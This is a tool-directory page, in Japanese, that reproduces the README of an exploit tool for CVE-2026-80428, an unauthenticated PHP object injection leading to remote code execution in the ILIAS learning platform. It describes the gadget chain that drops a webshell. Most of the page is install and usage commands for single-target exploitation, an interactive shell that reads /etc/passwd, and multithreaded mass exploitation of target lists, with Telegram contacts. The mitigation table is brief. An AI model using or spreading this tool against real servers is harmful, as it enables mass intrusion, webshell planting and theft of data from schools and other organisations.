Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — 未認証のPHPオブジェクトインジェクション(RCE) | Kitploit
ツール/GitHubGitHub/hackfutsecroot/cve-2026-80428
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティペネトレーションテストリモートアクセスツール
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — 未認証のPHPオブジェクトインジェクション(RCE)

リポジトリを見る
21228日前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — 未認証のPHPオブジェクトインジェクション(RCE)

CVE-2026-80428

ベクター: Shibbolethバックチャネルログアウトエンドポイント
影響: Webサーバーユーザーとしての完全なリモートコード実行
深刻度: 🔴 CRITICAL



📖 目次

  • 🔍 概要
  • ⚙️ 脆弱性チェーン
  • 🎯 影響を受けるバージョン
  • ✨ 機能
  • 📦 インストール
  • 🚀 使用方法
    • 単一ターゲットのエクスプロイト
    • インタラクティブシェル
    • 一括エクスプロイト
  • 📁 ターゲットリストの形式
  • 🖼️ スクリーンショット
  • 🛡️ 緩和策
  • 📢 チャンネルとコミュニティ
  • ⚠️ 免責事項

🔍 概要

CVE-2026-80428 は、ILIAS 学習管理システムに影響を与える重大な未認証のPHPオブジェクトインジェクション脆弱性です。ltiauth.php におけるセッションポイズニングのプリミティブと、shib_logout.php における安全でない unserialize() 呼び出しを連鎖させることで、攻撃者は任意のファイル書き込みを実行し、最終的にリモートコード実行(RCE)を達成できます — しかも認証なしで。


🎯 パラメータ📋 値
CVE IDCVE-2026-80428
種類PHPオブジェクトインジェクション → RCE
必要な認証❌ なし
攻撃ベクターネットワーク(HTTP/HTTPS)
CVSSスコア9.8(Critical)

⚙️ 脆弱性チェーン

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

ステップバイステップ:

  1. ltiauth.php は検証なしでシリアライズされたペイロードを PHP セッション内に保存します。
  2. shib_logout.php は細工された Shibboleth LogoutNotification SOAP リクエストを処理し、セッションデータに対して unserialize() を呼び出します。
  3. GuzzleHttp\Cookie\FileCookieJar ガジェットが file_put_contents() を呼び出し、攻撃者が制御するパスに PHP webshell を書き込みます。

🎯 影響を受けるバージョン

🏷️ ブランチ❌ 脆弱✅ 修正済み
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ 機能

🔥 コア

  • ✅ 未認証でのエクスプロイト
  • ✅ 単一ターゲットモード (exploit)
  • ✅ インタラクティブ疑似シェル (shell)
  • ✅ マルチプロセッシングによる一括エクスプロイト (mass)

💎 利便性

  • 🎨 フル ANSI カラー出力
  • 🔄 自動パスフォールバック
  • 🧠 バージョン検出とパッチチェック
  • 📝 脆弱なターゲットの自動保存
  • 🌐 カスタム Host ヘッダー対応
  • 🔒 レガシー TLS 対応

📦 インストール

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

要件:

  • Python 3.8+
  • requests
  • urllib3

🚀 使用方法

python3 CVE-2026-80428.py <mode> [options]

📌 単一ターゲットエクスプロイト

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

オプション:

フラグ説明デフォルト
--port対象ポート443
--pathディスク上の ILIAS docroot/var/www/ilias/public
--host-headerカスタム Host ヘッダー—
--timeoutリクエストタイムアウト (秒)30

💻 インタラクティブシェル

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 大規模エクスプロイト

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

オプション:

フラグ説明デフォルト
-l, --list必須 — ターゲットリストファイル—
-t, --threads同時ワーカー数20
-o, --output脆弱なターゲットの出力ファイルilias_vuln.txt
--pathILIAS docroot/var/www/ilias/public
--host-headerカスタム Host ヘッダー—
--timeoutリクエストタイムアウト (秒)30

📁 ターゲットリスト形式

targets.txt ファイルを作成します:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

対応フォーマット:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (パスは除去)

🖼️ スクリーンショット

🎬 マススキャン出力

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ 緩和策

防御者およびシステム管理者向け:

🛠️ アクション📝 詳細
🔼 ILIASをアップグレード9.22 / 10.10 / 11.3 以降
🚫 Shibbolethを無効化使用していない場合 — shib_logout.php を削除
🧱 WAFルール不正な形式のSOAP LogoutNotification ペイロードをブロック
📂 書き込みアクセスを制限Webルートは www-data から書き込み可能にすべきではない
🔍 監視アップロード/キャッシュディレクトリ内の予期しない .php ファイルを探す

📢 チャンネルとコミュニティ

🌐 コミュニティに参加


 



 



📬 直接連絡先

👤 プラットフォーム🔗 ハンドル
💬 Telegram DM@HackfutS3c
☁️ ULP Cloud@ulp_CLOUD1
📢 チャンネル1t.me/+gsrpvshwGUc5MzI0
📢 チャンネル2t.me/LinxProdXs404

⚠️ 免責事項

ツールをダウンロード